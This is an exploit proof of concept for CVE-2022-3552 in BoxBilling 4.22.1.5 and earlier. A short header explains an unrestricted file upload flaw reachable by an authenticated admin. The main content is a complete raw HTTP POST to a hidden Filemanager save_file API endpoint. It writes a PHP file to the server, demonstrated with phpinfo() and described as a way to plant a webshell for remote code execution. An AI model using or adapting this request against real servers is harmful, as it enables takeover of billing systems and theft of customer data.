BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)

# Exploit Title: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
# Date: 2022-09-18
# Exploit Author: zetc0de
# Vendor Homepage: https://www.boxbilling.org/
# Software Link:
https://github.com/boxbilling/boxbilling/releases/download/4.22.1.5/BoxBilling.zip
# Version: <=4.22.1.5 (Latest)
# Tested on: Windows 10
# CVE : CVE-2022-3552
# BoxBilling was vulnerable to Unrestricted File Upload.
# In order to exploit the vulnerability, an attacker must have a valid
authenticated session as admin on the CMS.
# With at least 1 order of product an attacker can upload malicious file to
hidden API endpoint that contain a webshell and get RCE
###################################################################################


## POC
POST /index.php?_url=/api/admin/Filemanager/save_file HTTP/1.1
Host: local.com:8089
Content-Length: 52
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=3nrf9i4mv28o5anva77ltq042d
Connection: close

order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>

POC Video :
https://drive.google.com/file/d/1m2glCeJ9QXc8epuY2QfvbWwjLTJ8_Hjx/view?usp=sharing